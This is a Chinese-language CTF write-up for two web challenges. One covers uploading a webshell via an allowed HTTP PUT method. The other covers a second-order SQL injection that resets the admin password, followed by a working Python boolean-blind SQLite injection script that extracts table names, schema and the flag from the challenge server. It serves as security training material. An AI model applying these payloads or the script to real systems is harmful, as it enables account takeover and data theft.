0%

Round#1 Basic

basic_check

这题的wp说可以看到OPTIONS请求,但我自己找了好久都不知道在哪里可以看到OPTIONS请求的回包,后来在学长帮助下才找到=.=

①firefox中的控制台的网络界面

image-20220404185006118

先点编辑并重发,然后更改方法为OPTIONS(chrome似乎看不到这个请求了)

然后得到OPTIONS请求的回包

image-20220404185226299

②curl命令

image-20220404185300194

这题允许了PUT方法,可以直接PUT传马

img

flag在根目录

sql_by_sql

首先考察点是二次注入,在修改密码源码界面看到SQL语句(先随意注册一个用户)

update user set password='%s' where username='%s';

所以注册一个admin' -- 的用户,然后修改其密码,即可完成admin账户的密码修改,登录进去后有查询用户功能

image-20220404165353818

此题中使用的数据库为SQLite(问就是sqlmap跑一跑,不会群主说的fuzz判断数据库,顺带一提,这题可以sqlmap一把梭)

然后上网找资料,得知这个数据库的盲注判断语句为1 and 1=2,没有引号闭合也没有注释😅

image-20220404165736113

SQLite中有一个类似information_schema功能的表sqlite_master

其中有五个字段

type:记录项目的类型,如table、index、view、trigger

name:记录项目的名称,如表名、索引名等

tbl_name:记录所从属的表名,如索引所在的表名。对于表来说,该列就是表名本身

rootpage:记录项目在数据库页中存储的编号。对于视图和触发器,该列值为0或者NULL

sql:记录创建该项目的SQL语句

所以我们可以利用select name from sqlite_master where type='table' limit 1,1语句来获取表名

值得一提的是SQLite中没有ascii()函数,所以我们盲注时需要直接和字符比较

语句:1 and substr((select name from sqlite_master where type='table' limit 1,1),1,1)='a'


接下来就是获取列名,sqlite中的列名获取有点奇妙(可能我没找到更好的方法而已)

我找到的是select sql from sqlite_master where type='table' and name = 'flag'

这个获取的是创建这个表时用的SQL语句,如下图(\r\n没读取)

image-20220404163204850

在网上还找到一个语句PRAGMA table_info(sqlite_master) ,这个语句是获取整个表的信息的,没法单单输出列名,也就是没法利用(一开始以为靠这个获取列名,试了好久都没成功)


然后获取列值的语句就是和mysql没差了,select flag from flag就好

image-20220404165001846

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import requests

true_result = 'exist' #正确的回显
url = 'http://1.14.71.254:28033/query'

def table_name(url):
table_name = ''
select = "select name from sqlite_master where type='table' limit 1,1"
for i in range(1, 60):
tablelength_payload = f'''1 and length(({select}))={i}'''
data = {'id':tablelength_payload}
response = requests.post(url=url, data=data)
if true_result in response.text:
print("table length : "+str(i))
for j in range(1, i + 1):
print('[*]now in {}'.format(j))
for asc in range(33, 127):
ss = chr(asc)
table_payload = f'''id=1 and substr(({select}),{j},1)=\'{ss}\''''
data2 = {'id':table_payload}
res = requests.post(url=url, data=data2)
if true_result in res.text:
table_name = table_name + chr(asc)
print(table_name)
break
break

def column_name(url):
column_name = ''
select = "select sql from sqlite_master where type='table' and name = 'flag'"
for i in range(1, 100):
columnlength_payload = f'''1 and length(({select}))={i}'''
data = {'id':columnlength_payload}
response = requests.post(url=url, data=data)
if true_result in response.text:
print("column length : "+str(i))
for j in range(1, i + 1):
print("[*]now in {}".format(j))
for asc in range(33, 127):
ss = chr(asc)
column_payload = f'''1 and substr(({select}),{j},1)=\'{ss}\''''
data2 = {'id': column_payload}
res = requests.post(url=url, data=data2)
if true_result in res.text:
column_name = column_name + chr(asc)
print(column_name)
break
break


def getflag(url):
for i in range(1,60):
flag = ''
select = "select flag from flag limit 0,1"
flaglength = f'''1 and length(({select}))={i}'''
data = {'id': flaglength}
response = requests.post(url=url, data=data)
if true_result in response.text:
print("flag length : "+str(i))
for j in range(1, i+1):
print("[*]now in {}".format(j))
for asc in range(33,127):
ss = chr(asc)
flagpayload = f'''1 and substr(({select}),{j},1)=\'{ss}\''''
data2 = {'id': flagpayload}
res = requests.post(url=url, data=data2)
if true_result in res.text:
flag = flag+chr(asc)
print(flag)
break
break

#table_name(url)
#column_name(url)
getflag(url)

sqlite注入的参考

sqlite_master表的介绍:https://blog.csdn.net/luoshabugui/article/details/108327936

sqlite注入的语句:https://blog.csdn.net/an0708/article/details/101806258

一道sqlite注入题的题解:https://www.jianshu.com/p/c8dc246cf555

-------------本文结束感谢您的阅读-------------